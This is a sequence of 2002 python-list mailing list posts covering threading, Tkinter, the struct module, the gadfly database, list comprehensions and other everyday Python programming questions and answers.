multithreading In-Reply-To: References: <3ce7e613$0$3732@echo-01.iinet.net.au> Message-ID: [Aahz] > But I'll bet you find it difficult to name a principle that Queue fails > to satisfy. While I'm very happy to use Queue where I feel it well fits, it looks like a bit of overkill in other circumstances. Using Queue also means creating client-server relationships for handling data movement. In a threaded project, implemented queues are quite fundamental in the overall description of the project design and algorithms, but I would not overly multiply queues for each and every tiny aspect of data movement, when mere locks are sufficient. Multiplying queues for everything and everywhere in a project might impair its overall legibility, drawning the fish. So, the principle I would be tempted to invoke against abusing of Queue is the principle of simplicity. We both agree on that, when Queue is proper, that is, when the appropriate client-server relation already exists in a project, Queue represents a simple, straightforward and legible approach. -- Fran?ois Pinard http://www.iro.umontreal.ca/~pinard From mgilfix at eecs.tufts.edu Mon May 6 01:18:09 2002 From: mgilfix at eecs.tufts.edu (Michael Gilfix) Date: Mon, 6 May 2002 01:18:09 -0400 Subject: In-Reply-To: ; from kwokng@earthlink.net on Mon, May 06, 2002 at 05:06:43AM +0000 References: Message-ID: <20020506011808.B3743@eecs.tufts.edu> Either the str () function or do something like: string = "%s" %attrib -- Mike On Mon, May 06 @ 05:06, Billy Ng wrote: > Hi folks, > > I notice the node.getAttribute() returns the unicode type string. How can I > cast it to string type? > > Thanks! > > Billy Ng > > > -- > http://mail.python.org/mailman/listinfo/python-list `-> (kwokng) -- Michael Gilfix mgilfix at eecs.tufts.edu For my gpg public key: http://www.eecs.tufts.edu/~mgilfix/contact.html From google at abe1x.com Sat May 18 18:34:31 2002 From: google at abe1x.com (abe burmeister) Date: 18 May 2002 15:34:31 -0700 Subject: feasibility of building a video editing program in python Message-ID: I'm a designer and animator who has learned to program using flash actionscript. Now that I know how to program (a bit) I know I don't want to be stuck in flash... I have video editing and live playback program I've developed that I need to switch to a more powerful programming environment. Been doing some investigation and Python appears to be one of the most elegant languages around. I'm hoping its the right one for me just based on the looks of the code I've seen. Just want to make sure it can do what I'm shooting for before I dive in though. I'm interested in building a program that: 1 - manipulates and sequences static images and displays them on screen at video playback speeds. 2 - exports sequences as video 3 - has a GUI that allows for real time manipulation 4 - can be controlled with a MIDI interface Is something that python can do? If so is python the right tool to accomplish this, or are there more optimal languages? thanks -abe From peter at engcorp.com Thu May 16 01:38:03 2002 From: peter at engcorp.com (Peter Hansen) Date: Thu, 16 May 2002 01:38:03 -0400 Subject: OT: Crazy Programming References: <87offlnq3k.fsf@mathdogs.com> <23891c90.0205130956.6f0436a0@posting.google.com> <3d06fae9.0205140451.5ec335b1@posting.google.com> <3CE1C502.BF27501D@cosc.canterbury.ac.nz> <3CE1FE30.3060803@mxm.dk> <3CE2F65F.2D24A86C@cosc.canterbury.ac.nz> Message-ID: <3CE345BB.DEE3A395@engcorp.com> Greg Ewing wrote: > > Max M wrote: > > > > And when the bridge is halfway done the customeres rarely asks for the > > bridge to be 10 meters longer and with 4 lanes instead of 3. > > Maybe if customers who commission computer programs > were educated to regard this as just as unreasonable > as it would obviously be when commissioning a bridge, > things might be better... XP takes the view that this is not an entirely unreasonable thing for software. Software is rather more malleable than bridges, and can handle significantly greater change at much later stages of development (when developed in an appropriately agile fashion, such as with XP). Now asking for your bridge to be a skyscraper instead is just going too far, even for software.... -Peter From david.bear at asu.edu Wed May 22 01:14:41 2002 From: david.bear at asu.edu (David Bear) Date: Tue, 21 May 2002 22:14:41 -0700 Subject: error using mailbox Message-ID: Have python 2.1 installed on caldera open linux -- python 1.5 is also installed but all my symlink point to 2.1. I'm attempting to using the mailbox module and am getting the following: Traceback (most recent call last): File "./unixmail.py", line 8, in ? msg = mb.next() File "/usr/local/lib/python2.1/mailbox.py", line 19, in next self.fp.seek(self.seekp) AttributeError: seek my code is straight from the psl 2.0 book by oreilly.. #!/usr/local/bin/python # psl2.0 p 156 import mailbox mb = mailbox.UnixMailbox("syslog/npcenter") while 1: msg = mb.next() if not msg: break for k, v in msg.items(): print k, "=", v body = msg.fp.read() print body Aside from the book is wrong, mailbox takes a file name rather than a file object, the code is exact. Any reason I'm getting the attribute error? -- David Bear College of Public Programs/ASU 480-965-8257 ...the way is like water, going where nobody wants it to go From ilen712 at libero.it Thu May 9 18:12:15 2002 From: ilen712 at libero.it (gimar) Date: Thu, 09 May 2002 22:12:15 GMT Subject: Python for Statistic Message-ID: I need to know the best way to process data for statistical calculations. Is there a reliable module out there that I could use for finding median, chi square, std deviation, T Student ... ? Thank you in advance ciao GPaolo From davidccarson at hotmail.com Tue May 14 15:18:49 2002 From: davidccarson at hotmail.com (David Carson) Date: 14 May 2002 12:18:49 -0700 Subject: python for this C: "if ((a = b(c)) != NULL)" References: <12257ec4.0205140344.2680b226@posting.google.com> Message-ID: <12257ec4.0205141118.1a43da72@posting.google.com> I figured I'd get a lot of answers if I put it that way! In my own defense: I love Python and I have no desire to see Python look like C. This is one particular instance only where I would have liked the C construct. Also, note that I was not looking for this: if (a = b(c)) but rather if ((a = b(c)) != NULL) I would never do the former, even in C, although that is the 'classic' way of coding such a statement. As I've had all the answers I need now, I'll continue to do it as everyone has suggested. Thanks all, David "Steve Holden" wrote in message news:... > "David Carson" wrote in message > news:12257ec4.0205140344.2680b226 at posting.google.com... > > "Mark McEahern" wrote in message > news:... > > > [David Carson] > > > > So, how do I do this in Python, since I want to avoid running method > > > > b() twice in the case where I want to use 'a' later? In other words, > > > > I don't want to do: > > > > > > > > if b(c): > > > > a = b(c) > > > > use a here ... > > > > > > a = b(c) > > > if a: > > > ... > > > > > > // m > > > > > > OK, so I wasn't quite clear in my original post. I got four fine > > answers like this one -- that is how I do it too. > > > So what you really want to know is, why isn't Python more like C? > > > They lack the other criterion that makes me use this style in C in the > > first place -- brevity. I choose the C syntax in the header because I > > can save a line _and_ it is as clear and readable as the alternative > > of doing it on two lines (as all these solutions suggest). I would > > not choose it if it was not readable. > > > I would suggest that readability is a matter of opinion. Further, the > original C consgtruct *is* a source of errors (use of "=" where "==" should > have been used). > > > So, I'll ask again: How do I do the equivalent in Python so that it is > > both clear and concise? > > > You don't, because concise is less clear. See > > http://www.python.org/cgi-bin/faqw.py?req=show&file=faq06.030.htp > > for a rationale behind the specific decision to exclude that particular > conciseness. > > readability-counts-ly y'rs - steve From mcfletch at rogers.com Wed May 22 16:29:21 2002 From: mcfletch at rogers.com (Mike C. Fletcher) Date: Wed, 22 May 2002 16:29:21 -0400 Subject: 2**HUGENUMBER Why not optimise it? References: <3CEBDD1F.3070107@rogers.com> Message-ID: <3CEBFFA1.3030404@rogers.com> Just realised, you can even do the same optimisations when you're using any power-of-two number: emap = { 2:1, 4:2, 8:3, 16:4, 32:5, 64:6, 128:7, 256:8, 512:9, 1024:10, 2048:11, 4096:12, 8192:13, 16384:14, 32768:15, 65536:16, 131072:17, 262144:18, 524288:19, 1048576:20, 2097152:21, 4194304:22, 8388608:23, 16777216:24, 33554432:25, 67108864:26, 134217728:27, 268435456:28, 536870912:29, 1073741824:30, } def dumbpow( number, exponent ): # is number 1? if abs(number) == 1 or exponent <= 0: return number**exponent # is number a power of 2? size = emap.get(abs(number)) if size: size = 1L << (size*exponent) if exponent %2 and number < 0: return -size else: return size else: return number ** exponent Sure, it's an extra map call, but oh well, pointless "optimisation" is fun :) . Enjoy, Mike Mike C. Fletcher wrote: ... > "What is the integer/long value of 2 raised to the power of 10000000?" ... From kragen at pobox.com Mon May 27 18:26:01 2002 From: kragen at pobox.com (Kragen Sitaker) Date: 27 May 2002 18:26:01 -0400 Subject: DTML and Python Editor? References: Message-ID: <83sn4dteh2.fsf@panacea.canonical.org> Bo writes: > Xemacs has dtml support from the python.org site. Although this has a > learning curve is it worth the effort??? I like the multi platform feature > but I chiefly use windows right now. It's worth the effort. From joakim at verona.se Sun May 26 08:33:17 2002 From: joakim at verona.se (Joakim Verona) Date: Sun, 26 May 2002 14:33:17 +0200 Subject: bug-like behaviour with urllib Message-ID: <3cf0d4b4_3@my.newsgroups.com> hello, i'm building an application that downloads files over https from a site. im finding some bug-like behaviour. details: - im using rh 72 - if im using python 1.5, https downloading hangs - in python 2.1 it works - in python 2.2 it crashes - with python 2.1, downloading a small file( with urlretrieve over http), 67 bytes, hangs. large files work any comments? i would like to upgrade to python 2.2, but cant do that now. /joakim -----------== Posted via Newsfeed.Com - Uncensored Usenet News ==---------- http://www.newsfeed.com The #1 Newsgroup Service in the World! -----= Over 100,000 Newsgroups - Unlimited Fast Downloads - 19 Servers =----- From tjreedy at udel.edu Tue May 21 22:07:24 2002 From: tjreedy at udel.edu (Terry Reedy) Date: Wed, 22 May 2002 02:07:24 GMT Subject: Is python really slow? References: Message-ID: "Chris" wrote in message news:Xns9215ABCC0DDC8chrislak at 209.249.90.101... > I spend a fair amount of time on perl newsgroups, having the need to use > perl for various parts of my job. I am now learning Python. I am a bit > disheartened at how common it seems to code only some of a program in > Python and use C for other parts, and how much discussion here involves > using C for X and Y. Newsgroup discussion gives a very biased picture of language use. I am sure that there are thousands of programmers quietly and successfully using Python without necessarily knowing C(sharp) from D(flat). Nothing much to post about except for the occasional unsolicited testimonial. Extending Python with C or embedding Python in C is doable but nontrivial. Hence, people do it but sometimes run into problems and questions which they bring to the newsgroup -- and which usually get answered. One result of the effort and help is the availability of several extensions written im C which the pure Python programmer can make use of. Terry J. Reedy From nookieNO_SP_AM at online.no Fri May 31 23:01:52 2002 From: nookieNO_SP_AM at online.no (Erlend J. Leiknes) Date: Sat, 01 Jun 2002 03:01:52 GMT Subject: How to play a .wav sound? References: Message-ID: Think this should work... not tested. import os def get_os(): if (os.name == "nt" or os.name == "dos" or os.name == "cw"): return "ms" else: return "posix" def playsound(file): if get_os() == "ms": import winsound winsound.PlaySound(file,winsound.SND_FILENAME) else: f = open(file,'r') sound_device = "/dev/dsp" d = open(sound_device,'w') sdata = f.read(1024) while sdata: d.write(sdata) f.close() d.close() "Bruno Bellamy" wrote in message news:ad8jo7$ohl$1 at wanadoo.fr... > I guess the question has probably been asked many times, sorry for > bothering... > But I searched here and there, and I couldn't find how to do that, simply > play a .wav sound from a python program using Tkinter. > > Moreover, I need to do that in a program that would run similarly under > Linux and Windows. > > I saw there's a python module called wave, but it seems it can only read > .wav files. I coulnd't find a way to actually play the sound. Maybe it's > hidden somewhere? > > If anybody can help me, that would be cool. :) > > -- > Bruno Bellamy: bellamy at neverland.net > Web perso: http://neverland.net/bellamy > ShowerGate, le croquis de la semaine: http://showergate.net From starx at pacbell.net Tue May 14 05:49:17 2002 From: starx at pacbell.net (Philip Swartzleonard) Date: 14 May 2002 09:49:17 GMT Subject: The vault and XP References: <79c63baa.0205120705.3ca59f6a@posting.google.com> <79c63baa.0205131944.147f558e@posting.google.com> Message-ID: Drake || Mon 13 May 2002 08:44:21p: >>[Vault (of parnassus?) won't work] > Found the problem... ZoneAlarm! > Vault will not open with ZA on "high" (internet) security. > Must be set to medium or lower. > > BTW, "high" (internet) security is ZA recommmeded setting for all > configs! Hm, i've had a similar problem with ZA, though not involving python (except that it also affects my upload scripts in py =). When attempting to FTP upload stuff to my website, the return-handshakeing (or something) is treated by ZA as an alert-- i get an alert with my FTPs IP attached when I try to make contact. I think it may have something to do with PASV* mode FTP, but i'm not really sure. Anyway, i run without ZA often enough when I'm playing something like Unreal Tourny or Diablo 2 or other things where I can often see every single preformace twitchup caused by anything on the system (i'm just too damn attuned to that sort of thing, so they piss me off easily), so i've never considered it a big deal to turn it off for a while -- I run it often enought that it should 1. Prevent random cases, 2. Prevent 'repeat customers' if they do get in, 3. Prevent any backdoor type programs from operating properly. (I don't have hardly anything of any real importance on here -- only a few of my random recent doodles are unarchived.) -- Philip Sw "Starweaver" [rasx] :: www.rubydragon.com From tjreedy at udel.edu Sat May 25 17:36:12 2002 From: tjreedy at udel.edu (Terry Reedy) Date: Sat, 25 May 2002 21:36:12 GMT Subject: Dictionary checking References: <3CEFCDC4.67C1564E@stud.ntnu.no> Message-ID: "Bj?rn Ove Gr?tan" wrote in message news:3CEFCDC4.67C1564E at stud.ntnu.no... > I'm building a dictionary with values from a file. > > for each key, I have an ID, Name and Alias > for some keys I have only ID and Name, some keys with > ID and Alias, some keys with all 3 and a few keys > with only a ID with no Name and no Alias. > > How can I check if Name and/or Alias contain anything. > If Name contains any string it's ok, but if not I want to > use the string value of Alias - and if not any value (space/blank) > of Alias I want to do some error-handling. If *you* look at the file, how do *you* tell? Answer that and then tell program how to do same. In order for either you or computer to tell difference between 'ID Name' and 'ID Alias', there must either be a field delimiter which tells you that Name is missing or some format difference between Names and Aliases. > Also, I want to make some output with data combined from 2 dictionaries. > Does anyone have any examples on how to do this? look at dict.update method Terry J. Reedy From peter at engcorp.com Wed May 29 00:59:39 2002 From: peter at engcorp.com (Peter Hansen) Date: Wed, 29 May 2002 00:59:39 -0400 Subject: threading References: <6LSI8.9586$p56.2785767@newsb.telia.net> Message-ID: <3CF4603B.264B2F1A@engcorp.com> Magnus wrote: > > Thanks for the suggestion. I will try that and see if it works. My concern > is that one thread might be e.g. writing to a file, and in that case I need > to way for it to finish. By using a flag this should work. 1. If the thread is waiting for an operation such as writing to a file, you have no choice but to let it time out and then check the flag. There is no way to force a thread to terminate. > (I am thinking about setting up a signal handler that changes the flags in > all threads.) 2. See the notes in the docs for the signal module. I believe it says they are sent only to the main thread. -Peter From jepler at unpythonic.net Thu May 9 12:34:11 2002 From: jepler at unpythonic.net (Jeff Epler) Date: Thu, 9 May 2002 11:34:11 -0500 Subject: Simple question about how the optimizer works In-Reply-To: <3CDA9B3C.F2D00FE6@cascade-sys.com> References: <3cda42ef_1@goliath2.newsgroups.com> <3cda43fd_1@goliath2.newsgroups.com> <3CDA9B3C.F2D00FE6@cascade-sys.com> Message-ID: <20020509113410.C18545@unpythonic.net> On Thu, May 09, 2002 at 08:52:28AM -0700, James J. Besemer wrote: > I'd expect there'd be more to gain in Python simply looking for patterns such as > > for i in xrange(N): ... The expression giving the object to iterate over in a 'for' loop is evaluated only when the 'for' loop begins, not at each iteration. That's completely different than print xrange(3), xrange(3) where xrange must be called twice. Not even the 'LOAD_GLOBAL xrange' instruction can be hoisted/factored. For instance, imagine the following (perverse) definition of xrange: builtin_xrange = xrange def xrange(x): global xrange xrange = lambda x: "My dog has fleas" return builtin_xrange(x) Python doesn't have anything like proclaim_const(xrange) proclaim_pure(xrange) to let the compiler know that xrange is not subject to modification, side-effects, and does not depend on any global state. Of course, then there's the situation def f(x): g(xrange(x), xrange(x)) g(xrange(x), xrange(x)) Here, there would still be at least two xrange calls, since x might be mutable and modified (through another name, or because xrange = lambda x:x) by the call to g. (This assumes g is not pure, of course) In general any mutable object can be modified at any call, and in general you can't predict that an object is immutable at compile-time. So now you get to write def f(x): assert_immutable(x) g(xrange(x), xrange(x) g(xrange(x), xrange(x)) and add compiler support (just like you added for proclaim_*()) Get busy .. Jeff From newgene at bigfoot.com Tue May 21 13:55:25 2002 From: newgene at bigfoot.com (newgene) Date: 21 May 2002 10:55:25 -0700 Subject: Making a standalone script Message-ID: Hi, group, Does anyone know a tool can make a standalone python script, which is independent on any modules used in my original code, except python build-in modules? The reason I ask is I want to put a python cgi on a server. I used some third-party modules in this code, but I don't have the right to install those package onto our server. Thanks. Newgene From mcalla at insightbb.com Sat May 18 16:20:34 2002 From: mcalla at insightbb.com (Mike Callahan) Date: Sat, 18 May 2002 20:20:34 GMT Subject: Two Tkinter questions References: Message-ID: Thanks Rune. You answered both questions. "Rune Hansen" wrote in message news:RWoF8.2078$_15.56597 at news4.ulv.nextra.no... > Hello Mike, > > Q1: > To make a grid widget behave like when packed you'll have to use column and > row configure. > -- > label = Label(frame,text="Text") > > label.grid(row=0,column=0,sticky=N+E+S+W) > frame.rowconfigure(0,weight=1) > frame.columconfigure(0,weight=1) > -- > This will make the widget use the maximum vailible space in the frame. > > > Q2: > A bit more tricky. I've adaped this code from MCScrolledListBox.py,v 1.3 > written by Dough Hellman. (http://sourceforge.net/projects/pmwcontribd/) > Helmanns code is much more complete, but I also does some stuff i didn't > want(like list headers and the selection spanning the lists). > My example is rather verbose, I found it easier than to strip my code.. > -- > #Scrolled lists > [class definition] > > # Initialize a list for "list" > self.lists=[] > > #Create the scrollbar > self.scrollbar = Scrollbar(self.frame, orient=VERTICAL) > > #Create three lists > self.list1 = Listbox(self.frame, > bd=0, > highlightcolor="white", > highlightthickness=0, > fg="red", > bg="white", > width=5, > yscrollcommand=self._yset > ) > self.lists.append(self.list1) > self.list2 = Listbox(self.frame, > bd=0, > highlightcolor="white", > highlightthickness=0, > fg="#9CC6CD", > bg="white", > width=1, > yscrollcommand=self._yset > ) > self.lists.append(self.list2) > self.list3 = Listbox(self.frame, > bd=0, > highlightcolor="white", > highlightthickness=0, > fg="black", > bg="white", > yscrollcommand=self._yset > ) > self.lists.append(self.list3) > > # Bind selection command to list3. > self.list3.bind("",self.selectHandler) > self.list3.bind("",self.self.selectHandler) > self.list3.bind("",self.selectHandler) > > # Configure scrollbar > self.scrollbar.config(command=self._yview) > > # Grid the lists and scrollbar > self.list1.grid(row=0,column=0,sticky=W) > self.list2.grid(row=0,column=1,sticky=W) > self.list3.grid(row=0,column=2,sticky=N+E+S+W) > self.scrollbar.grid(row=0,column=3,sticky=N+S) > > # Make list3 expand the amount of availible space in the frame > self.frame.rowconfigure(0, weight = 1) > self.frame.columnconfigure(2, weight = 1) > > . > . > . > > def selectHandler(self): > # ... > pass > # These functions are unchanged from Hellmans example > def _yset(self, *args): > #print '_yset', args > apply(self.scrollbar.set, args) > for lb in self.lists: > lb.yview_moveto(args[0]) > return > > def _yview(self, *args): > for lb in self.lists: > apply(lb.yview, args) > return > -- > This will make the lists scroll in unison even when using the mousewheel :-) > With a bit focus() tinkering this also works on Windows. > > > regards > > /rune > > Mike Callahan wrote: > > > Question #1 > > > > I want a text widget to completely fill its space. I can do this in > > tkinter using the pack geometery manager: > > text.pack(fill='both', expand=1) > > If I resize the window, the the text widget continues to fill the window, > > however if I use grid: > > text.grid(sticky='nsew') > > the text widget stays the same size if I make the window larger. Can't > > grid do the same thing that pack can do? > > > > Question #2 > > > > I want to make a horizontal scroll bar scroll two text widgets at the same > > time. I know how to connect a scrollbar to a text widget, but is there a > > way to connect one scrollbar to two widgets? > > > > Thanks, > > Mike Callahan > > From mgilfix at eecs.tufts.edu Tue May 14 02:49:02 2002 From: mgilfix at eecs.tufts.edu (Michael Gilfix) Date: Tue, 14 May 2002 02:49:02 -0400 Subject: generated comprehensions In-Reply-To: <4c877253.0205132231.6d286d0b@posting.google.com>; from garth@deadlybloodyserious.com on Mon, May 13, 2002 at 11:31:10PM -0700 References: <4c877253.0205132231.6d286d0b@posting.google.com> Message-ID: <20020514024902.A24034@eecs.tufts.edu> On Mon, May 13 @ 23:31, Garth T Kidd wrote: > Has anyone tried to figure out a generator variant on list > comprehensions? Should all list comprehensions return generators? .. or rather, why shouldn't they? Aren't generators much more memory efficient? Perhaps someone could enlighten me on the downside of generators since they seem to accomplish everything a pure iterator can do but in a more memory efficient way. -- Mike -- Michael Gilfix mgilfix at eecs.tufts.edu For my gpg public key: http://www.eecs.tufts.edu/~mgilfix/contact.html From rjones at ekit-inc.com Wed May 22 18:45:03 2002 From: rjones at ekit-inc.com (Richard Jones) Date: Thu, 23 May 2002 08:45:03 +1000 Subject: Gadfly: single-quote in varchar? In-Reply-To: <59CC5D6A-6DAC-11D6-8804-003065B33450@intersight.com> References: <59CC5D6A-6DAC-11D6-8804-003065B33450@intersight.com> Message-ID: <200205230845.03381.rjones@ekit-inc.com> On Thu, 23 May 2002 03:50, Sam Penrose wrote: > I cannot get Gadfly to INSERT a string containing a single-quote (') > into a VARCHAR field. Gadfly appears to insist that strings passed to > > its parsing framework be delimited with single quotes: > >>> cursor.execute("INSERT INTO t (Description) VALUES ('alpha')") > > NOT > > >>> cursor.execute('INSERT INTO t (Description) VALUES ("alpha")') > > which may or may not be connected, (and rules out the obvious 'INSERT > INTO t (Description) VALUES ("alpha's before beta")') but at any rate no > variation on > > >>> cursor.execute("INSERT INTO t (Description) VALUES ('alpha\'s before > > beta')") > > >>> cursor.execute("INSERT INTO t (Description) VALUES ('alpha\\'s > > before beta')") > > >>> cursor.execute("INSERT INTO t (Description) VALUES ('alpha\\\'s > > before beta')") >From the gadfly documentation (sql.html -> "Expressions"): String constants are set off by apostrophies, where two apostrophe's in sequence represent an apostrophy in the string: 'SQL string literals ain''t pretty' Also, if the data is dynamic you're almost always better off using a dynamic data statement. That way all data quoting is handled for you. Again in the Expressions chapter: The Dynamic expression "?" is a placeholder for a value bound at evaluation time (from Python values). Sadly the crossreference is no good (being fixed) but the info is in gadfly.html -> Dynamic Values. > seems to work, although some fail silently, neither raising an error or > inserting the row. This sounds like a bug. Please submit bugs to the gadfly bug tracker. Richard From denpeterson at yahoo.com Sun May 19 10:10:53 2002 From: denpeterson at yahoo.com (Dennis Peterson) Date: Sun, 19 May 2002 10:10:53 -0400 Subject: Recursion problem References: Message-ID: Thanks for the help, John, I'll follow your advice. All the oop I've done until now was C++, which has no class-level data, and thinking in those terms made this seem very strange. -Dennis "John Machin" wrote in message news:c76ff6fc.0205190444.204fd65e at posting.google.com... > "Dennis Peterson" wrote in message news:... > > I'm trying to implement a basic Composite pattern. In the following code, I > > expect c.getData() and d.getData() to both return "hellogoodbye". Instead, > > on d.getData() I get stacktrace printing "y += i.getData()" repeatedly until > > recursion depth exceeded. Why? > > > > I'm new to Python, running latest Windows version just downloaded. > > > > class Simple: > > def __init__(self,x): > > self.data = x > > def getData(self): > > return self.data > > > > class Compound: > > data = [] > > This "data" is a *CLASS*-level attribute, shared by all instances of > the class. > You should have an __init__() similar to the other class, to set > self.data to []. > > > def getData(self): > > y = "" > > for i in self.data: > > y += i.getData() > > return y > > > > def test(): > > a = Simple("hello") > > b = Simple("goodbye") > > c = Compound() > > c.data.append(a) > > c.data.append(b) > > Insert a print statement here ... print c.data > > print c.getData() > > d = Compound() > > d.data.append(c) > > Now for the big surprise: > print d.data > *AND* > print c.data > Just like the man said, c.data and d.data are the same thing ... and > uh-oh, that means c contains a reference to itself! > > print d.getData() > > d contains c, which contains c, so you start emulating the mythical > ooloo bird, until saved by the recursion limit. > > *HINT* Unless you expect your code to work correctly first time or if > not that kind strangers will always do your debugging for you, learn > to put in print statements to give yourself a bit of a clue as to what > is going wrong. You seem to have jumped right in to the OO aspects of > Puthon; perhaps you might like to write yourself a mixin class that > supplies a generic dump() method for debugging instances of classes > that inherit from it. From aleax at aleax.it Sat May 4 09:09:45 2002 From: aleax at aleax.it (Alex Martelli) Date: Sat, 04 May 2002 13:09:45 GMT Subject: Optimizing for binary storage/bit-fiddling References: Message-ID: Thomas Weholt wrote: > I'm working on a very simple object storage system ( there are alot of > alternatives I know :-) ) where I got a "record" referencing to a pickled > object in a large file. This record is constructed using the > struct-module. The format consists of 4 integers, 1 float and at the point > 4 boolean values. Currently I'm using a struct-format like so 4If4F. But > with bit-fiddling I should get all the boolean values into one integers > shouldn't I? Of the 4 integers 2 of them will never exceed 256 so I should > be able to use something else than integers for this also ??? > > A simple search on Google gave me a few hits on the subject, but I read > Python wasn't optimized for bit-fiddling. Would it be much faster to just > ignore the space issue and use integers for boolean values? Any thoughts? The struct module, which you are already using, is quite good at BYTE fiddling, so, if space matters here, you could and should use it in a more tuned way. Right now you're using 36 bytes/record (assumign '4If4I' is your format string -- you say '4If4F', but I don't know anything about that 'F' format-character in module struct?). If the 3rd and 4th items are always >=0 and <256, and so are the 6th to last items (which you say are booleans - 0 or 1), using format '2I2Bf4B' would take just 20 bytes per record -- substantial saving at no or little cost in terms of complicating your program, and therefore apparently quite a worthwhile change. Squeezing the 4 booleans into a single byte would let you save another 3 bytes per record, down to 17 (from an original 36), but I don't know if that is worth it. Not hard nor slow, mind you -- you just construct a tiny auxiliary-dictionary ONCE: audi = {} for i in range(16): bits = tuple([ (i&bit)==bit for bit in 1,2,4,8 ]) audi[i]=bits audi[bits]=i and then you just need to go through audi any time you must translate a 0-15 byte into 4 separate bits, or viceversa (you need to make the bits into a tuple to key into the dictionary, of course). But this _is_ a non-null amount of complication, and the further saving is small, so it's not easy to decide whether it's worth it. Maybe try with and without and see what happens to your runtimes (probably go down a tiny bit with the aux dict -- preparation time is once, at startup, then heavily amortized -- dict lookup is *FAST*, and you do save a small but non negligible amount of I/O) and overall program complexity (if it's big and complex already, then these 5 lines and the extra 2 or 3 in the functions that read or write records aren't gonna kill you). > In conclusion: what is the most efficient way to store very large integers > ( 0, -> ), very small numeric values ( 0-512 ) and boolean values in a > binary file? Is the bit-fiddling so slow I should avoid it in > circumstances like this? Not with auxiliary dictionaries (which can easily work up to 8 bits of course) -- it's not really slow then. Just a little bit complicated. "Do the simplest thing that can possibly work"... As for other sizes of unsigned integers, do use the struct module's builtin possibilities -- costs you little or nothing, after all, to encode the actual expected range of your numbers rather than just a lazy I everywhere:-). Alex From warlock at eskimo.com Mon May 13 20:25:16 2002 From: warlock at eskimo.com (Jim Richardson) Date: Mon, 13 May 2002 17:25:16 -0700 Subject: which db should I use? References: <3CDF3C5D.78B73EE0@engcorp.com> <3CE0554E.7EA96EB1@engcorp.com> Message-ID: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Mon, 13 May 2002 20:07:42 -0400, Peter Hansen wrote: > Jim Richardson wrote: >> >> Peter Hansen wrote: >> > It's unclear even after your description why you want to use a >> > relational database. Is it simply because that's part of the >> > learning experience you've set for yourself, or are there particular >> > performance requirements or a need for relational operations? >> >> probably because I am a clewless newbie and don't know any other options >> :) What is available that isn't relational? > > Well, there's object (OO) databases, object-relational DBs, and there's > things that aren't typically described as databases although they are: > e.g. files in the file system such as I mentioned. A database is more > than just storage; normally it's a database manager (or DBM) which > provides all kinds of capabilities beyond just storage. > um, ok :) >> > Why not just store them as files in the file system? >> >> searches are really slow with grep, on an ext3 filesystem. I wouldn't >> mind a file based system, but will probably go with a db system in order >> to learn more about SQL > > No need to use grep, unless you want to. Normally you would want to > index the files, so that a search for key words becomes an extremely > fast operation. Even in a database... wouldn't this be simply doing a db like approach? how would I go about learning about this in python? I wouldn't mind not having to have a few hundred MB of data in the newsspool *and* in some database. Would it be possible to simple have an "index" file that would give me the same search functions as SQL, seperate from the actual spool? > >> > Well, okay, if it's just to learn SQL. But you might find better >> > types of data for that purpose. >> >> Well, probably better data out there, but this gets two birds with one >> stone. > > In that case, go for it. (Personally, I would try to decouple the > birds from each other and focus on one at a time, but then I've got > dozens of birds flying around that I haven't even tried to catch yet...) yeah, I know that feeling. I just half finished a bit of code that looks at the spread of characters in pgp cypher text, it's interesting. Not random at all. But that should be expected I guess, it just doesn;'t have a pattern I can distinguish yet :) -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 (GNU/Linux) iD8DBQE84Flsd90bcYOAWPYRAl0kAKCtwv40zF/vLB8JOAG1dPC9QWLXAgCg2z32 18gJzMnKQNV/jRLlvi1/ZGM= =pA4s -----END PGP SIGNATURE----- -- Jim Richardson Anarchist, pagan and proud of it http://www.eskimo.com/~warlock Linux, from watches to supercomputers, for grandmas and geeks. From jwilhelm at outsourcefinancial.com Thu May 23 11:36:05 2002 From: jwilhelm at outsourcefinancial.com (Joseph Wilhelm) Date: 23 May 2002 08:36:05 -0700 Subject: python-friendly web hosts: buyer beware In-Reply-To: <3ced0306.262618245@news-server.socal.rr.com> References: <3ced0306.262618245@news-server.socal.rr.com> Message-ID: <1022168166.5135.4.camel@jwilhelm.ofsloans.com> On Thu, 2002-05-23 at 08:05, Roger Burnham wrote: > On Thu, 23 May 2002 14:36:46 GMT, Rob Andrews > wrote: > > >As webmaster of Useless Python, I went on the hunt some months back for > >python-frienly web hosting services for the site itself and to recommend > >to users of the site. This has proven to be more of an adventure than I > >had anticipated. In the quest, I have encountered a range of different > >organizations, from the Python-enthusiastic tummy.com to a few more > >dubious situations. > > > > > > Give http://www.modwest.com/ a look. I've found them _very_ responsive. They > have the latest Python version and have added PIL and a few other packages at my > request, usually less than an hour after asking. > > Cheers, > > Roger Burnham > rburnham at blennylips.com > -- > http://mail.python.org/mailman/listinfo/python-list You may also check out www.superior-web.net Right now, they have Python 1.5.2 and Python 2.1.1 installed (Yes, as 'python2'. It is an RH box).. although I'm certain he would be more than happy to install 2.2.1 :) --Joseph Wilhelm From peter at engcorp.com Mon May 13 20:25:32 2002 From: peter at engcorp.com (Peter Hansen) Date: Mon, 13 May 2002 20:25:32 -0400 Subject: Read file from bottom References: <3CE01380.81F9A087@jpl.nasa.gov> <3CE026E9.DAB30A8F@jpl.nasa.gov> Message-ID: <3CE0597C.6FDFCC27@engcorp.com> Julia Bell wrote: > > Good idea; I never thought of something like that. > > My initial reaction is that I don't know I exactly how many lines frm the > bottom I want. (I currently read the lines, search for data on the lines > that meets some trigger criterion, and then start processing the data from > there.) Often the simplest solution to this problem is to examine the usual lines in the file (this works best if it's like a log file, for example, where most lines are of similar length) and simply use seek() to start N lines multiplied by M bytes per line from the end of the file. Then just read forwards until you find your trigger. It depends on a few things, but if you know the trigger will generally be within 100 lines of the end, and most lines are about 65 characters, just start 100*(65+1) bytes backwards (counting newlines) and go forward... -Peter From tjreedy at udel.edu Fri May 10 15:45:11 2002 From: tjreedy at udel.edu (Terry Reedy) Date: Fri, 10 May 2002 19:45:11 GMT Subject: Is there such a beast as a "perfect" shuffle? :) References: Message-ID: "Christos Georgiou" wrote in message What you are asking for is not a 'perfect shuffle' but a 'perfectly random shuffle' -- one that selects from the n! (52! here) possible with equal probability. > I needed a function that, given a sequence and a number, would produce > the th permutation of the sequence. The permutations of [0, ..., n-1] or [1, ..., n] can be sorted (lexicographically ordered) so that they have a 1-1 relation with the numbers 0 to n!-1. Kreher and Stinson, Combinatorial Algorithms (for instance) give enumerate (generate in order), rank(perm->number) and unrank (number->perm) algorithms (pp.52-6). 